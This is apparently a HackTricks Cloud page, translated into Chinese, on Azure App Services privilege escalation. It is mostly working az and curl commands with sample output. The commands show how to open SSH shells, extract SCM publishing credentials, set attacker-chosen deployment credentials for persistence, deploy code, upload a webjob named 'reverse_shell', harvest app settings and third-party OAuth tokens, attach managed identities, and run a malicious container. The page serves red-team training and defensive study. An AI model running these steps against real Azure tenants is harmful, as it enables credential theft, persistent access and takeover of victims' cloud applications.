Az - App Services Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
App Services
有关 Azure App 服务的更多信息,请查看:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
这些权限允许在 web 应用程序内部获取 SSH shell。它们还允许 调试 应用程序。
- 单命令 SSH:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- 创建隧道然后连接到SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- 调试应用程序:
- 在 VScode 中安装 Azure 扩展。
- 使用 Azure 账户登录扩展。
- 列出订阅中的所有应用服务。
- 选择要调试的应用服务,右键单击并选择“开始调试”。
- 如果应用未启用调试,扩展将尝试启用它,但您的账户需要权限
Microsoft.Web/sites/config/write才能执行此操作。
获取 SCM 凭据和启用基本身份验证
要获取 SCM 凭据,您可以使用以下 命令和权限:
- 权限
Microsoft.Web/sites/publishxml/action允许调用:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
注意 用户名始终相同(除了 FTP,它在开头添加了应用的名称),但 密码对它们来说是相同的。
此外,SCM URL 是 <app-name>.scm.azurewebsites.net。
- 权限
Microsoft.Web/sites/config/list/action允许调用:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
注意凭据与之前的命令相同。
- 另一个选项是设置您自己的凭据并使用它们:
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
然后,您可以使用这些凭据来访问SCM和FTP平台。这也是保持持久性的好方法。
请记住,要从网页访问SCM平台,您需要访问<SCM-URL>/BasicAuth。
Warning
请注意,每个用户都可以通过调用之前的命令来配置自己的凭据,但如果用户没有足够的权限访问SCM或FTP,则凭据将无效。
- 如果您看到这些凭据是已编辑的,那是因为您需要启用SCM基本身份验证选项,为此您需要第二个权限(
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
使用SCM凭据发布代码
仅凭有效的SCM凭据就可以发布代码到应用服务。这可以通过以下命令完成。
对于这个Python示例,您可以从https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart下载仓库,进行您想要的任何更改,然后运行:zip -r app.zip .进行压缩。
然后,您可以使用以下命令发布代码到Web应用:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
提到的 Azure 权限允许执行几个有趣的操作,这些操作也可以使用 SCM 凭据执行:
- 阅读 Webjobs 日志:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- 阅读 Webjobs 源代码:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- 创建 连续 Webjob:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
这些权限允许将托管身份分配给应用服务,因此如果应用服务之前被攻陷,这将允许攻击者将新的托管身份分配给应用服务并提升权限。
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
此权限允许列出 App 服务的 connection strings 和 appsettings,这些可能包含敏感信息,如数据库凭据。
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
读取配置的第三方凭据
运行以下命令可以读取当前账户中配置的第三方凭据。请注意,如果例如某些Github凭据配置在不同的用户中,您将无法从其他用户访问该令牌。
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
此命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的令牌。
以下是一些检查令牌的命令示例:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
从源更新应用代码
- 如果配置的源是第三方提供商,如 Github、BitBucket 或 Azure Repository,您可以通过破坏存储库中的源代码来更新应用的代码。
- 如果应用使用远程 git 存储库(带有用户名和密码)进行配置,可以通过以下方式获取URL 和基本身份验证凭据以克隆和推送更改:
- 使用权限
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group> - 使用权限
Microsoft.Web/sites/config/list/action: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"- 如果应用配置为使用本地 git 存储库,可以克隆存储库并推送更改:
- 使用权限
Microsoft.Web/sites/sourcecontrols/read: 您可以通过az webapp deployment source show --name <app-name> --resource-group <res-group>获取 git 存储库的 URL,但它将与应用的 SCM URL 相同,路径为/<app-name>.git(例如https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git)。 - 要获取 SCM 凭据,您需要权限:
Microsoft.Web/sites/publishxml/action: 然后运行az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>。Microsoft.Web/sites/config/list/action: 然后运行az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
Warning
请注意,拥有权限
Microsoft.Web/sites/config/list/action和 SCM 凭据始终可以部署到 webapp(即使它被配置为使用第三方提供商),如前面部分所述。
Warning
请注意,拥有以下权限也可以执行任意容器,即使 webapp 的配置不同。
Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read
这是允许修改 webapp 使用的容器的一组权限。攻击者可以利用它使 webapp 执行恶意容器。
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

